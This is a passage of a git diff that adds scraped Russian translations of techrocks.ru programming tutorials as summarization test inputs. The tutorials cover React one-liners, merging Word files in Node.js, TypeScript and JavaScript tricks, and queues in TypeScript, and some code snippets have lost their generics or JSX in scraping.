узел DOM в качестве аргумента. Однострочник проверяет, существует ли этот узел (чтобы избежать ошибок, если ref равен null), а затем вызывает метод focus для него. Идеальный случай использования Эта техника отлично подходит для создания доступных форм, где нужно автоматически фокусироваться на первом поле ввода при загрузке формы. 7. Стиль Встроенные стили в React иногда могут быть несколько многословными. Вот однострочник, делающий их более краткими:
Здесь используется объектный литерал для определения нескольких стилей в одной строке. Почему это круто? Хотя мы обычно предпочитаем классы CSS для стилей, бывают случаи, когда встроенные стили необходимы или удобны. Этот однострочник позволяет сохранить ваш JSX чистым и читаемым. Когда использовать? Применение такого однострочника особенно полезно для динамических стилей, которые меняются в зависимости от реквизитов или состояния, или для быстрого прототипирования, когда вы не хотите создавать отдельный CSS-файл. 8. Имя класса Условные имена классов — распространенный паттерн в React. Вот однострочник, упрощающий этот процесс:
Здесь используется шаблонный литерал и тернарный оператор для условного добавления класса. В чем тут соль? Пустая строка в тернарном операторе гарантирует, что при ложном условии не будет добавлено лишнего пробела, что позволит сохранить имена классов чистыми. Реальный сценарий использования Это идеальный вариант для таких вещей, как активные состояния в меню навигации или переключение визуальных состояний на основе взаимодействия с пользователем. 9. Error Boundary Предохранители (error boundary) — важнейшая часть надежных React-приложений. Вот однострочник, создающий простой предохранитель: class ErrorBoundary extends React.Component { state = { hasError: false }; static getDerivedStateFromError = () => ({ hasError: true }); render = () => this.state.hasError ?

Something went wrong.

: this.props.children; } Технически это несколько утверждений в одной строке, но это создает полный компонент предохранителя очень лаконичным способом. Разбиваем однострочник на части Этот однострочник определяет класс компонента с состоянием для отслеживания ошибок, статический метод для обновления состояния при возникновении ошибки и метод рендеринга, который либо показывает сообщение об ошибке, либо отображает дочерние элементы обычным способом. Когда это пригодится? Оберните этот компонент вокруг любой части вашего приложения, где вы хотите отлавливать и изящно обрабатывать ошибки, предотвращая падение всего приложения. 10. Memo И напоследок давайте рассмотрим однострочник для мемоизации функциональных компонентов: const MemoizedComponent = React.memo(({ prop1, prop2 }) =>
{prop1} {prop2}
); Это создает мемоизированную версию функционального компонента, который рендерится заново только при изменении его реквизитов. Волшебство React.memo — это компонент более высокого порядка, который пропускает рендеринг, если пропсы остаются теми же. Это может значительно повысить производительность компонентов, которые часто рендерятся с одинаковыми пропсами. Наилучшее использование Применение такого однострочника отлично подходит для создания чисто функциональных компонентов, требующих больших затрат на рендеринг или находящихся глубоко в дереве компонентов и часто получающих одни и те же пропсы. Заключение Ну вот и все, друзья! Мы рассмотрели десять мощных однострочников React, которые сделают ваш код чище и эффективнее. От условного рендеринга до предохранителей — эти компактные фрагменты кода имеют большой потенциал. Помните, что, несмотря на всю свою привлекательность, однострочники не всегда являются наилучшим решением для любого сценария. Главное — понять, как они работают и когда их использовать. Как и во всем, что касается кодинга, читабельность и поддерживаемость должны быть вашими главными приоритетами. Перевод статьи “10 React One-Liners Every UI Developer Should Know”. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___techrocks.ru_2025_02_07_how-to-merge-word-documents-using-nodejs_.txt b/tests/summarization/https___techrocks.ru_2025_02_07_how-to-merge-word-documents-using-nodejs_.txt new file mode 100644 index 0000000..159d9c8 --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2025_02_07_how-to-merge-word-documents-using-nodejs_.txt @@ -0,0 +1,46 @@ +Как объединять файлы Word с помощью NodeJS От Редакция techrocks.ru / 07.02.2025 Слияние файлов Word необходимо, когда несколько отчетов, предложений или форм должны быть объединены в один документ. Это может понадобиться в приложениях для автоматизации документооборота. Системы управления контентом также полагаются на эту функциональность, чтобы объединять документы для совместного редактирования или архивирования. Node.js — хороший выбор для решения подобных задач, поскольку он поддерживает как серверные, так и клиентские операции, позволяя эффективно работать с документами в различных средах. От редакции Techrocks: читайте также статью «Как объединять документы Word с помощью Python». Необходимые предварительные условия Node.js и npm для управления зависимостями — убедитесь, что они установлены Библиотеки: docx-merger для слияния файлов Word на стороне сервера mammoth для преобразования .docx в HTML (полезно для объединения на стороне клиента) html-docx-js (или аналогичная библиотека) для преобразования HTML обратно в .docx Метод 1. Объединение файлов на стороне сервера с помощью docx-merger docx-merger — это специализированная библиотека Node.js, предназначенная для слияния нескольких файлов .docx путем непосредственного объединения их содержимого, включая текст, таблицы и другие общие элементы, в единый целостный документ. Она особенно полезна, когда вам нужно сохранить оригинальную структуру и форматирование в объединенных документах. Вот как работает docx-merger и почему она эффективна для слияния на стороне сервера: Прямое слияние элементов .docx. docx-merger считывает базовые XML-структуры всех файлов .docx и объединяет их на уровне документа. При этом сохраняются макет, стили, заголовки, нижние колонтитулы и даже сложные структуры, такие как таблицы и изображения, так что выходной файл сохраняет внешний вид исходных. Настраиваемые параметры слияния. Библиотека обеспечивает гибкость при объединении. Вы можете указать, объединять ли документы целиком или выборочно (определенные разделы). Это особенно полезно в тех случаях, когда требуется объединить только части документов, например при добавлении резюме, титульных страниц или при объединении разделов нескольких отчетов. Работа со встроенными объектами. docx-merger поддерживает встроенные элементы, такие как изображения, фигуры и другие медиафайлы. При слиянии она сохраняет эти объекты, гарантируя, что визуальные элементы не будут потеряны или искажены при выводе. Это очень важно для отчетов, презентаций и других документов, в которых графика играет важную роль. Упрощенный API для интеграции. API для docx-merger прост, что позволяет легко внедрять его в приложения Node.js. Вы инициализируете библиотеку документами, которые хотите объединить, настраиваете параметры объединения, а затем выводите результат в виде файла .docx. Такая простота использования позволяет легко добавить объединение документов в существующие рабочие процессы, как в виде отдельного сценария, так и в составе более крупного конвейера обработки документов. Используя docx-merger, вы можете эффективно объединять большие объемы документов с уверенностью, что их оригинальное форматирование и содержание будут сохранены. Это делает docx-merger идеальным выбором для обработки документов на стороне сервера в Node.js. Установка docx-merger Для начала установите docx-merger через npm: npm install docx-merger Эта библиотека не требует дополнительных настроек. После установки вы можете импортировать ее и инициализировать новый экземпляр для начала слияния файлов. docx-merger работает, считывая каждый файл .docx как буфер, а затем объединяя их в один выходной файл. Объединение файлов с помощью docx-merger Выполните следующие шаги, чтобы объединить файлы .docx с помощью docx-merge: Импортируйте fs для чтения файлов и docx-merger для слияния. Инициализируйте docx-merger пустым объектом конфигурации и массивом буферов файлов для слияния. Используйте метод .save() для слияния и сохранения результирующего файла в виде буфера, а затем запишите файл на диск с помощью fs.writeFileSync(). Пример: const fs = require('fs'); + +const DocxMerger = require('docx-merger'); + +const files = [fs.readFileSync('file1.docx'), fs.readFileSync('file2.docx')]; + +const docxMerger = new DocxMerger({}, files); + +docxMerger.save('nodebuffer', (data) => { + + fs.writeFileSync('merged.docx', data); + +}); Этот код считывает файлы file1.docx и file2.docx как буферы, объединяет их и сохраняет объединенный документ под именем merged.docx. Когда стоит выполнять объединение файлов на стороне сервера? Слияние на стороне сервера с помощью docx-merger идеально подходит для сценариев, требующих больших объемов обработки или автоматизации. Например: Пакетная обработка документов. Автоматизация слияния счетов, отчетов или записей для больших наборов данных. Автоматизация рабочих процессов. Консолидация различных разделов документа из разных источников для таких рабочих процессов, как создание отчетов или архивирование. Сервисы бэкенда. Такие сервисы запускаются в серверных средах, с которыми пользователь взаимодействует косвенно. Пример — объединение документов через API или запланированную задачу бэкэнда. Метод 2. Объединение документов на стороне клиента с помощью mammoth и преобразования HTML mammoth — это библиотека Node.js, которая конвертирует текстовые файлы в HTML. Это делает ее идеальным решением для клиентских приложений, требующих работы с документами в режиме реального времени. Такой подход особенно полезен в сценариях, когда пользователям нужно редактировать или объединять документы прямо в браузере перед их экспортом. Вот что делает mammoth мощным инструментом для работы с документами на стороне клиента: Высокое качество. mammoth переводит содержимое .docx в чистый, семантический HTML, сохраняя основные элементы форматирования, такие как заголовки, абзацы и списки. Это гарантирует, что преобразованные документы сохранят свою первоначальную структуру и будут удобны для работы в веб-среде. Обработка встроенных изображений с помощью Base64. Когда mammoth встречает встроенные изображения в файле .docx, он кодирует их в формате Base64 и включает в теги в HTML-выводе. Это позволяет легко отображать, объединять или манипулировать изображениями вместе с текстом, делая конечный документ более целостным и визуально точным при реэкспорте в .docx. Динамическое редактирование документов. Поскольку mammoth выводит HTML, содержимое документа легко добавлять или корректировать на стороне клиента с помощью JavaScript или клиентских фреймворков. Пользователи могут комбинировать несколько HTML-сниппетов из разных файлов .docx, переставлять разделы или даже динамически вводить новое содержимое, что очень важно для приложений, требующих настройки содержимого в режиме реального времени. Преобразование обратно в .docx с помощью html-docx-js. После создания или редактирования документа в HTML вы можете преобразовать его обратно в формат .docx с помощью таких библиотек, как html-docx-js. Эта библиотека берет объединенный HTML-контент и генерирует загружаемый файл .docx, что позволяет легко вернуть пользователю конечный документ в исходном формате. Использование mammoth для объединения документов на стороне клиента предлагает гибкий интерактивный способ управления содержимым документов в браузере с функциями, поддерживающими как текст, так и изображения. В сочетании с html-docx-js или аналогичным инструментом вы можете создавать мощные приложения, позволяющие пользователям настраивать и объединять документы на лету, а затем экспортировать свою работу в файлы .docx. Преобразование .docx в HTML с помощью mammoth Сначала установите mammoth: npm install mammoth mammoth можно использовать для преобразования файлов .docx в HTMLсразу после установки. Пример кода для преобразования файлов .docx в HTML: import mammoth from 'mammoth'; + +import fs from 'fs'; + +async function convertDocxToHtml(filePath) { + + const result = await mammoth.convertToHtml({ path: filePath }); + + return result.value; + +} + +async function mergeHtmlFiles() { + + const html1 = await convertDocxToHtml('file1.docx'); + + const html2 = await convertDocxToHtml('file2.docx'); + + const mergedHtml = html1 + html2; + + return mergedHtml; + +} + +const mergedHtmlContent = await mergeHtmlFiles(); В этом примере convertDocxToHtml считывает файл .docx и преобразует его в формат HTML. mammoth автоматически преобразует все изображения в документе в URL-адреса данных, закодированные в Base64, чтобы их можно было объединить и отобразить вместе с текстом. Объединение HTML с изображениями и преобразование обратно в .docx После объединения HTML-содержимого, включая любые закодированные в Base64 изображения, вы можете использовать html-docx-js для преобразования его обратно в формат .docx. Этот процесс гарантирует, что и текст, и изображения будут сохранены в конечном результате. Установите html-docx-js: npm install html-docx-js Затем используйте эту библиотеку, чтобы обернуть объединенный HTML и преобразовать его обратно в .docx: import htmlDocx from 'html-docx-js'; + +import fs from 'fs'; + +const wrappedHtmlContent = ${mergedHtmlContent}; + +const docxBuffer = htmlDocx.asBlob(wrappedHtmlContent); + +fs.writeFileSync('merged_with_images.docx', docxBuffer); В этом коде объединенный HTML-контент, содержащий текст и изображения, оборачивается в базовую HTML-структуру и передается в htmlDocx.asBlob(). Эта функция генерирует буфер .docx, сохраняющий текст и изображения, который затем сохраняется на диске в виде файла .docx. Когда выполнять объединение файлов на стороне клиента Слияние на стороне клиента с помощью mammoth и html-docx-js полезно в следующих случаях: Редактирование документов в реальном времени. Интерактивные приложения, в которых пользователи могут загружать, объединять и скачивать .docx-файлы прямо в браузере, со встроенными изображениями. Платформы для совместной работы. Инструменты для совместного создания документов, где пользователям необходимо объединять файлы .docx и сохранять изображения. Пользовательские генераторы документов. Приложения, генерирующие документы с текстом и изображениями из нескольких файлов .docx (например специализированные отчеты), гарантирующие сохранение всех элементов в конечном результате. Этот метод представляет собой комплексное решение для объединения документов на стороне клиента, позволяющее гибко работать с богатым содержимым. Обработка ошибок и наилучшие практики При слиянии файлов Word может возникнуть ряд проблем, в частности с форматированием и обработкой ошибок. Распространенные проблемы и обработка ошибок Несоответствие макета. Преобразование в HTML может привести к неожиданным различиям в форматировании при обратном преобразовании в .docx. Различия в стилях. Пользовательские стили в .docx могут некорректно переводиться в HTML, что приводит к расхождениям в шрифтах и полях. Всегда проверяйте правильность преобразования каждого файла и применяйте согласованную таблицу стилей, чтобы свести к минимуму несоответствия. Форматирование изображений. Изображения в кодировке Base64 могут некорректно отображаться в конечном файле .docx, что аналогично проблемам при объединении файлов PDF. Убедитесь, что все изображения правильно отформатированы перед объединением, и отслеживайте проблемы во время преобразования. Наилучшие подходы Последовательное форматирование. Нормализуйте стили в документах с помощью предопределенной таблицы стилей, чтобы свести к минимуму несоответствия. Целостность данных. Следите за правильностью считывания и преобразования файлов, проверяя результаты каждого преобразования. Проверка кодировки и формата. Для обеспечения успешного преобразования следите за тем, чтобы все файлы имели ожидаемый формат .docx и чтобы Base64- изображения были правильно отформатированы. Заключение Два метода объединения файлов Word с помощью Node.js — использование docx-merger для объединения на стороне сервера и mammoth с преобразованием HTML для объединения на стороне клиента — обеспечивают гибкость для различных случаев использования. Слияние на стороне сервера (docx-merger): Идеально подходит для пакетной обработки и автоматизированных рабочих процессов Подходит для слияния большого количества документов без участия пользователя Эффективно работает с такими фреймворками, как Express.js и NestJS, позволяя легко интегрироваться в бэкэнд-сервисы для обработки множества файлов Слияние на стороне клиента (mammoth и преобразование в HTML): Лучше всего подходит для интерактивных приложений, работающих в режиме реального времени, где пользователи работают с документами напрямую Поддерживает динамическое редактирование и объединение документов в браузере Хорошо работает с такими фреймворками, как Astro.js, React или Vue.js, обеспечивая плавную интеграцию в современные веб-приложения Эту функциональность можно расширить: Интегрируйте эти методы в более крупное приложение или веб-сервис, где пользователи смогут загружать и объединять документы напрямую Оптимизируйте производительность для сред с высоким уровнем использования, изучив: Кэширование файлов для уменьшения избыточной обработки Оптимизацию процесса преобразования для повышения скорости и эффективности Балансировку нагрузки для обработки множества запросов в реализациях на стороне сервера. Применяя самые лучшие подходы и обеспечивая надежную обработку ошибок, вы сможете создать надежное и масштабируемое решение для слияния файлов .docx с помощью Node.js. Перевод статьи “How to Merge Word Files Using NodeJS”. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___techrocks.ru_2025_02_20_20-useful-typescript-tricks_.txt b/tests/summarization/https___techrocks.ru_2025_02_20_20-useful-typescript-tricks_.txt new file mode 100644 index 0000000..93d6edd --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2025_02_20_20-useful-typescript-tricks_.txt @@ -0,0 +1,113 @@ +20 приемов TypeScript, которые должен знать каждый разработчик От Редакция techrocks.ru / 20.02.2025 TypeScript — это мощный инструмент для современной JavaScript-разработки, обеспечивающий типобезопасность и предоставляющий расширенные возможности. Многие разработчики знают основы TypeScript, но знание некоторых приемов может сделать ваш код более эффективным, чистым и поддерживаемым. Давайте рассмотрим эти премы! 1. NonNullable TypeScript предоставляет утилиту NonNullable для исключения null и undefined из типа. Это поможет вам избежать неожиданных нулевых значений. type User = { name: string; age?: number | null }; +const user: NonNullable = 30; // ✅ No null or undefined allowed 2. Использование Partial для гибкости Утилита Partial делает все свойства типа необязательными. Это очень удобно, когда вы обновляете только подмножество полей объекта. interface User { + name: string; + age: number; + email: string; +} + +const updateUser = (user: Partial) => { + // You can pass only the fields you want to update + return { ...user, updatedAt: new Date() }; +}; + +updateUser({ name: 'John' }); // No need to provide the entire object 3. Использование Readonly для неизменяемых данных Если вам нужна неизменяемость в TypeScript, Readonly сделает все свойства типа неизменяемыми, предотвращая переприсваивание. const config: Readonly<{ apiUrl: string; retries: number }> = { + apiUrl: 'https://api.example.com', + retries: 5 +}; + +config.apiUrl = 'https://newapi.com'; // ❌ Error: Cannot assign to 'apiUrl' because it is a read-only property 4. Сопоставленные типы для динамической типизации свойств Сопоставленные типы позволяют создавать новые типы путем преобразования существующих. Это удобно для создания вариаций типа объекта. type Status = 'loading' | 'success' | 'error'; +type ApiResponse = { + [K in Status]: T; +}; + +const response: ApiResponse = { + loading: 'Fetching...', + success: 'Data loaded', + error: 'Something went wrong' +}; 5. Типы кортежей с опциональными элементами Знаете ли вы, что TypeScript позволяет использовать опциональные элементы в кортежах? Это очень удобно при работе с переменными аргументами функций. type UserTuple = [string, number?, boolean?]; + +const user1: UserTuple = ['Alice']; // ✅ Just the name +const user2: UserTuple = ['Bob', 30]; // ✅ Name and age +const user3: UserTuple = ['Charlie', 25, true]; // ✅ Full tuple 6. Union-типы с исчерпывающими проверками Убедитесь, что вы обрабатываете все возможные случаи с помощью union-типов и исчерпывающих проверок в инструкциях switch. type Status = 'open' | 'closed' | 'pending'; + +function handleStatus(status: Status) { + switch (status) { + case 'open': + return 'Opened'; + case 'closed': + return 'Closed'; + case 'pending': + return 'Pending'; + default: + const exhaustiveCheck: never = status; // ❌ Error if a new status type is added but not handled + return exhaustiveCheck; + } +} 7. Тип Omit для исключения ключей Иногда вам нужно создать тип объекта, исключающий определенные ключи. В этом случае Omit — ваш друг! interface Todo { + title: string; + description: string; + completed: boolean; +} + +type TodoPreview = Omit; + +const todo: TodoPreview = { + title: 'Learn TypeScript', + completed: false +}; 8. Сужение типов с помощью in и instanceof Используйте in и instanceof для сужения типов во время выполнения программы. function processInput(input: string | number | { title: string }) { + if (typeof input === 'string') { + return input.toUpperCase(); // Narrowed to string + } else if (typeof input === 'number') { + return input * 2; // Narrowed to number + } else if ('title' in input) { + return input.title; // Narrowed to object with title property + } +} 9. Условные типы для расширенной логики типов Условные типы обеспечивают невероятную гибкость при преобразовании типов на основе условий. type IsString = T extends string ? true : false; + +type CheckString = IsString<'Hello'>; // true +type CheckNumber = IsString<42>; // false 10. Использование as const для неизменяемых литеральных типов as const отлично подходит для замораживания значений и обеспечения того, чтобы TypeScript рассматривал их как литеральные типы, а не как изменяемые значения. const COLORS = ['red', 'green', 'blue'] as const; + +type Color = typeof COLORS[number]; // 'red' | 'green' | 'blue' 11. Extract и Exclude для уточнения типов Используйте Extract и Exclude, чтобы отфильтровать или выбрать определенные типы из объединения. type T = 'a' | 'b' | 'c'; +type OnlyAOrB = Extract; // 'a' | 'b' +type ExcludeC = Exclude; // 'a' | 'b' 12. Защитники типа для пользовательской проверки Создавайте собственных защитников типов (type guards) для динамического уточнения типов во время выполнения. function isString(input: any): input is string { + return typeof input === 'string'; +} + +const value: any = 'Hello'; + +if (isString(value)) { + console.log(value.toUpperCase()); // Safe: value is a string here +} 13. Использование Record для типов динамических объектов Когда вам нужен тип для объекта с динамическими ключами, Record — идеальный вариант. type Role = 'admin' | 'user' | 'guest'; +const permissions: Record = { + admin: ['read', 'write', 'delete'], + user: ['read', 'write'], + guest: ['read'] +}; 14. Динамические свойства классов с индексными сигнатурами Индексные сигнатуры позволяют создавать объекты или классы с динамически именуемыми свойствами. class DynamicObject { + [key: string]: any; +} + +const obj = new DynamicObject(); +obj.name = 'Alice'; +obj.age = 30; 15. Тип never для невозможных состояний Тип never представляет значения, которые никогда не должны встречаться. Он часто используется в исчерпывающих проверках. function assertNever(value: never): never { + throw new Error(`Unexpected value: ${value}`); +} 16. Опциональные цепочки для безопасного доступа к свойствам Используйте оператор опциональной последовательности (?.) для безопасного доступа к глубоко вложенным свойствам. Это позволит не опасаться ошибок, связанных с undefined. const user = { profile: { name: 'John' } }; +const userName = user?.profile?.name; // 'John' +const age = user?.profile?.age ?? 'Not provided'; // Fallback to default 17. Установка значений по умолчанию с помощью оператора нулевого слияния (??) Используйте оператор нулевого слияния, чтобы предоставить запасное значение в том случае, если исходное значение равно null или undefined. const input: string | null = null; +const defaultValue = input ?? 'Default'; // 'Default' 18. Вывод типов возвращаемых значений с помощью ReturnType Утилита ReturnType извлекает тип возвращаемого значения функции. Это может быть полезно, когда вы имеете дело со сложными типами. function getUser() { + return { name: 'John', age: 30 }; +} + +type UserReturn = ReturnType; // { name: string; age: number; } 19. Параметры типов в функциях Параметры дженерик-типов делают ваши функции гибкими и пригодными для повторного использования в различных типах. function identity(value: T): T { + return value; +} + +identity('Hello'); // 'Hello' +identity(42); // 42 20. Типы пересечения для объединения структур Типы пересечения (intersection types) позволяют объединять несколько типов в один. type Admin = { privileges: string[] }; +type User = { name: string }; + +type AdminUser = Admin & User; + +const adminUser: AdminUser = { + privileges: ['admin', 'editor'], + name: 'Alice' +}; Эти приемы помогут вам поднять ваши навыки работы с TypeScript на новый уровень! Продолжайте экспериментировать и внедрять эти паттерны в свои проекты, чтобы код был чище и эффективнее. Успешного кодинга! Перевод статьи “20 TypeScript Tricks Every Developer Should Know”. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___techrocks.ru_2025_03_14_20-useful-js-tricks_.txt b/tests/summarization/https___techrocks.ru_2025_03_14_20-useful-js-tricks_.txt new file mode 100644 index 0000000..f9b4ebf --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2025_03_14_20-useful-js-tricks_.txt @@ -0,0 +1,75 @@ +20 приемов JavaScript, которые должен знать каждый разработчик От Редакция techrocks.ru / 14.03.2025 JavaScript — мощный, гибкий язык, а знание нескольких интересных приемов работы с ним может сделать ваш код чище, быстрее и эффективнее. Ниже приведены 20 практических советов по работе с JavaScript, которые вы можете использовать в реальных приложениях для улучшения процесса разработки. 1. Деструктуризация и переименование за один шаг Вы можете переименовывать переменные во время деструктуризации объекта, что полезно при конфликтах имен. const user = { name: 'Alice', age: 25 }; +const { name: userName, age: userAge } = user; +console.log(userName); // Alice +console.log(userAge); // 25 2. Опциональная последовательность с вызовами функций Опциональная последовательность (опциональная цепочка, англ. optional chaining) может использоваться с функциями, проверяя существование функции до ее вызова. const user = { + getName: () => 'Alice', +}; +console.log(user.getName?.()); // Alice +console.log(user.getAge?.()); // undefined 3. Использование оператора ||= для присваивания по умолчанию Логическое присваивание OR (||=) присваивает значение только в том случае, если значение переменной null или undefined или если значение переменной ложно (например 0). let count; +count ||= 10; +console.log(count); // 10 4. Преобразование NodeList в массив с помощью оператора spread Оператор spread предоставляет быстрый способ преобразования NodeList в массив. const divs = document.querySelectorAll('div'); +const divArray = [...divs]; +console.log(Array.isArray(divArray)); // true 5. Деструктуризация массива/объекта со значениями по умолчанию Присваивайте значения по умолчанию при деструктуризации, чтобы избежать undefined при отсутствии ключей. const user = { name: 'Alice' }; +const { name, age = 25 } = user; +console.log(age); // 25 6. Удаление ложных значений из массива Используйте filter() для удаления из массива ложных значений (таких как 0, null, undefined, false). const arr = [0, 'hello', null, 42, false, 'world']; +const filtered = arr.filter(Boolean); +console.log(filtered); // ["hello", 42, "world"] 7. Сортировка массивов объектов по свойствам Вот пример того, как можно легко отсортировать массив объектов по определенному свойству: const users = [{ name: 'Alice', age: 25 }, { name: 'Bob', age: 20 }]; +users.sort((a, b) => a.age - b.age); +console.log(users); // [{ name: 'Bob', age: 20 }, { name: 'Alice', age: 25 }] 8. Динамический импорт для ленивой загрузки Динамический импорт позволяет загружать модули только по мере необходимости, сокращая время первоначальной загрузки. const loadModule = async () => { + const module = await import('./myModule.js'); + module.default(); // Calls the default export function +}; +loadModule(); 9. Параметры по умолчанию с деструктуризацией объектов При использовании параметров по умолчанию вы также можете деструктурировать и устанавливать значения по умолчанию для определенных свойств. function createUser({ name = 'Guest', age = 18 } = {}) { + console.log(name, age); +} +createUser(); // Guest 18 +createUser({ name: 'Alice' }); // Alice 18 10. Использование Object.assign() для поверхностного копирования Object.assign() удобен для поверхностного копирования объектов без изменения оригинала. const original = { a: 1, b: 2 }; +const copy = Object.assign({}, original); +copy.a = 3; +console.log(original.a); // 1 (unchanged) 11. Мемоизация функций для повышения производительности Мемоизация кэширует результаты вызовов дорогих функций на основе аргументов, что полезно для функций, требующих сложных вычислений. const memoize = (fn) => { + const cache = {}; + return (...args) => { + const key = JSON.stringify(args); + if (!cache[key]) { + cache[key] = fn(...args); + } + return cache[key]; + }; +}; +const slowSquare = (n) => n * n; +const memoizedSquare = memoize(slowSquare); +console.log(memoizedSquare(4)); // 16 (cached on second call) 12. Использование reduce для группировки элементов массива Функция reduce() позволяет группировать элементы массива на основе какого-либо свойства. Это часто требуется при обработке данных. const people = [ + { name: 'Alice', role: 'admin' }, + { name: 'Bob', role: 'user' }, + { name: 'Charlie', role: 'admin' }, +]; +const grouped = people.reduce((acc, person) => { + (acc[person.role] = acc[person.role] || []).push(person); + return acc; +}, {}); +console.log(grouped); +// { admin: [{ name: 'Alice' }, { name: 'Charlie' }], user: [{ name: 'Bob' }] } 13. Уплощение вложенных массивов с помощью Array.flat(Infinity) Уплощение многоуровневых вложенных массивов становится простым благодаря Array.flat(Infinity). const nested = [1, [2, [3, [4]]]]; +console.log(nested.flat(Infinity)); // [1, 2, 3, 4] 14. Переключение булевых значений с помощью ! Переключить булево значение так же просто, как дважды применить оператор NOT. let isVisible = false; +isVisible = !isVisible; +console.log(isVisible); // true 15. Объединение нескольких массивов с помощью concat() Оператор concat() помогает объединить несколько массивов в одном предложении. const arr1 = [1, 2]; +const arr2 = [3, 4]; +const arr3 = [5, 6]; +const merged = arr1.concat(arr2, arr3); +console.log(merged); // [1, 2, 3, 4, 5, 6] 16. Асинхронный перебор массива с помощью for…of и await При итерации по массиву промисов for...of и await гарантируют, что каждый промис разрешится до выполнения следующего. const fetchData = async () => { + const urls = ['url1', 'url2']; + for (const url of urls) { + const response = await fetch(url); + console.log(await response.json()); + } +}; 17. Быстрое получение последнего элемента в массиве Получение последнего элемента в массиве без необходимости знать его длину. const arr = [1, 2, 3, 4]; +console.log(arr.at(-1)); // 4 18. Использование Intl для форматирования даты Intl.DateTimeFormat предлагает мощный способ форматирования дат в разных локалях. const date = new Date(); +const formatted = new Intl.DateTimeFormat('en-GB', { + dateStyle: 'full', +}).format(date); +console.log(formatted); // e.g., "Monday, 25 October 2021" 19. Округление чисел с помощью Math.round() и шаблонных литералов Шаблонные литералы могут напрямую форматировать округленные числа. const num = 3.14159; +console.log(`${Math.round(num * 100) / 100}`); // 3.14 20. Преобразование объектов, подобных массивам, в массивы с помощью Array.from() Используйте Array.from() для преобразования массивоподобных объектов (например, аргументов) в настоящие массивы. function example() { + const argsArray = Array.from(arguments); + console.log(argsArray); +} +example(1, 2, 3); // [1, 2, 3] Все эти приемы упрощают распространенные шаблоны написания кода на JavaScript. Внедрите их в свой рабочий процесс, чтобы писать эффективный и выразительный код. Успешного кодинга! Перевод статьи “20 JavaScript Tricks Every Developer Must Know”. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___techrocks.ru_2025_07_16_queues-in-typescript_.txt b/tests/summarization/https___techrocks.ru_2025_07_16_queues-in-typescript_.txt new file mode 100644 index 0000000..777ece8 --- /dev/null +++ b/tests/summarization/https___techrocks.ru_2025_07_16_queues-in-typescript_.txt @@ -0,0 +1,578 @@ +Очереди в TypeScript От Редакция techrocks.ru / 16.07.2025 Очередь (англ. queue) — это набор элементов, расположенных в порядке «первый пришел — первый ушел» (англ. First-In-First-Out, FIFO). Это означает, что первый добавленный элемент первым и удаляется, подобно тому, как обслуживают покупателей в магазине. В этом практическом руководстве мы расскажем, как реализовать очереди в TypeScript с помощью связанных списков. Вот что мы рассмотрим: Предварительные условия Начало работы Что такое очереди? Что такое связные списки? Что такое простая очередь? Что такое кольцевая очередь? Что такое двухсторонняя очередь? Что такое приоритетная очередь? Когда следует использовать очереди (а когда не стоит) Заключение Предварительные условия TypeScript. Вы должны знать основы TypeScript (интерфейсы, типы и классы). Основы алгоритмов. Вам необходимо иметь базовое представление о структурах данных и алгоритмах. Например, у вас не должно быть проблем с анализом временной и пространственной сложности с помощью нотации “O” большое. Структура данных связный список. Прежде чем приступать к этому руководству, важно получить твердое представление о связных списках. Начало работы В этом руководстве мы будем работать с проектом-песочницей, который вы можете клонировать из репозитория GitHub. Структура проекта выглядит следующим образом: . +├── index.ts +├── examples +│ ├── 01-linked-list.ts +│ ├── 02-simple-queue.ts +│ ├── 03-circular-queue.ts +│ ├── 04-double-ended-queue.ts +│ └── 05-priority-queue.ts +└── playground + ├── 01-linked-list.ts + ├── 02-simple-queue.ts + ├── 03-circular-queue.ts + ├── 04-double-ended-queue.ts + └── 05-priority-queue.ts На протяжении всего руководства для реализации и тестирования кода мы будем использовать каталог playground. Каталог examples содержит финальную версию каждой реализации. Если вы застрянете, то сможете обратиться к этим решениям! Что такое очереди? Очередь — это структура данных, которая управляет элементами в порядке FIFO, где первый добавленный элемент и удаляется первым. Для наглядности представьте себе принтер, обрабатывающий задания. Если вы отправляете на печать три документа, принтер обрабатывает их в порядке поступления. Сначала печатается первый документ, затем второй и, наконец, третий. В программировании очереди помогают управлять задачами, которые должны выполняться по порядку, например: Веб-сервер ставит в очередь входящие запросы, чтобы обрабатывать их по очереди. Приложение-чат ставит сообщения в очередь, чтобы отправлять их в том порядке, в котором они были набраны. Навигационное приложение ставит в очередь местоположения, чтобы изучать карту уровень за уровнем. Есть четыре типа очередей: Простая очередь. Элементы добавляются в заднюю часть и удаляются из передней в порядке FIFO. Кольцевая (круговая, кольцевая) очередь (англ. Circular Queue). Аналогична простой очереди, за исключением того, что последний элемент соединен с первым. Двухсторонняя очередь (англ. Double-Ended Queue, Deque). Позволяет добавлять или удалять элементы как спереди, так и сзади. Приоритетная очередь (англ. Priority Queue). Обрабатывает элементы на основе приоритета, а не порядка поступления. Например, приложение для доставки обрабатывает VIP-заказы раньше обычных. Каждая из этих очередей имеет свой набор операций для управления своими элементами. В этом руководстве мы рассмотрим следующие распространенные и широко используемые операции: enqueue. Добавляет элемент в конец очереди. Пример из жизни — новый покупатель становится в очередь в кассу за билетами. dequeue. Удаляет и возвращает элемент, находящийся в начале очереди. getFront. Просматривает элемент, находящийся спереди, не удаляя его. Пример из жизни — кассир смотрит, кто первый в очереди. getRear. Просматривает элемент, находящийся сзади, не удаляя его. Пример из жизни — кассир смотрит, кто последний в очереди. isEmpty. Проверяет отсутствие элементов в очереди. isFull. Проверяет, достигла ли очередь своего максимального размера. peek. Так же, как и getFront, просматривает передний элемент, не удаляя его, например, чтобы быстро взглянуть на первую задачу. size. Возвращает количество элементов в очереди. Пример из жизни — кассир подсчитывает, сколько людей 